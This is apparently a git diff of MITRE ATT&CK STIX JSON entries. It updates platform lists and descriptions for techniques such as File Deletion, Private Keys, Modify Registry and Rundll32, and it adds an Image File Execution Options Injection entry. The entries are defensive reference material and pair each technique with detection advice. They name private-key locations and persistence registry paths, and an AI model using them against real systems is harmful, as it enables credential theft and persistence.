+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Active remote service accepting connections and valid credentials"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59.json b/enterprise-attack/attack-pattern/attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59.json
index eebd4913b5..e1befef536 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--92359df5-e8be-4427-9838-f24ed047c729",
+    "id": "bundle--370f7815-579c-48bb-9037-5674a0cfb640",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:17.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File Deletion",
-            "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
+            "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -48,20 +48,8 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe.json b/enterprise-attack/attack-pattern/attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe.json
index 43ea05cfdc..4a611bf20f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79c2031d-2764-4988-8758-55b8252eed5d",
+    "id": "bundle--8d9f1e31-2675-4f7d-a1f3-7275d0c7af8c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Private Keys",
-            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach",
+            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -53,20 +53,8 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4.json b/enterprise-attack/attack-pattern/attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4.json
index 547fa02f78..724bc9101d 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--943b09f3-6614-44f2-b248-f4270a909d11",
+    "id": "bundle--5a1e85ec-530b-43da-b220-310de47e3feb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:23.587Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Registry",
-            "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman",
+            "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -38,7 +38,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Bartosz Jerzman"
+                "Bartosz Jerzman",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Windows Registry",
@@ -55,18 +56,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b.json b/enterprise-attack/attack-pattern/attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b.json
index 0efb35032e..13a426b806 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--facd11bb-6d8d-4ed9-a874-65e9b26219cd",
+    "id": "bundle--aa0b4747-f989-4c29-b578-1ac16ac657c6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppleScript",
-            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: MacOS, OS X\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes",
+            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,8 +46,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_remote_support": true
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--62166220-e498-410f-a90a-19d4339d4e99.json b/enterprise-attack/attack-pattern/attack-pattern--62166220-e498-410f-a90a-19d4339d4e99.json
new file mode 100644
index 0000000000..e756f09cbc
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--62166220-e498-410f-a90a-19d4339d4e99.json
@@ -0,0 +1,77 @@
+{
+    "type": "bundle",
+    "id": "bundle--a22387f3-262f-4dff-8c14-5015584b33cb",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Image File Execution Options Injection",
+            "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options/<executable></code> and <code> HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable> </code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\n\nDetection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1183",
+                    "external_id": "T1183"
+                },
+                {
+                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
+                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
+                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
+                },
+                {
+                    "source_name": "Microsoft GFlags Mar 2017",
+                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
+                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "FSecure Hupigon",
+                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
+                    "url": "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml"
+                },
+                {
+                    "source_name": "Symantec Ushedix June 2008",
+                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
+                    "url": "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "Process Monitoring",
+                "Windows Registry",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5.json b/enterprise-attack/attack-pattern/attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5.json
index 9a0103c1f8..28e3d4e43a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f916681a-cb23-489a-91d0-6650b901337e",
+    "id": "bundle--28887579-c813-4e7a-ad56-52a00e6d863f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:06.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rundll32",
-            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No",
+            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -26,11 +26,19 @@
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1085",
                     "external_id": "T1085"
+                },
+                {
+                    "source_name": "Trend Micro CPL",
+                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
+                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Ricardo Dias"
+            ],
             "x_mitre_data_sources": [
                 "File monitoring",
                 "Binary file metadata",
@@ -45,18 +53,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b.json b/enterprise-attack/attack-pattern/attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b.json
index 9cd97d235a..84d5b7644f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9dbe29d-4f26-465c-98a4-5f6f7f7940bd",
+    "id": "bundle--7c20f4c2-0f32-411e-9565-968d5517b341",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:34.928Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Existing Service",
-            "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -32,6 +32,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "Windows Registry",
                 "File monitoring",
@@ -43,18 +46,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
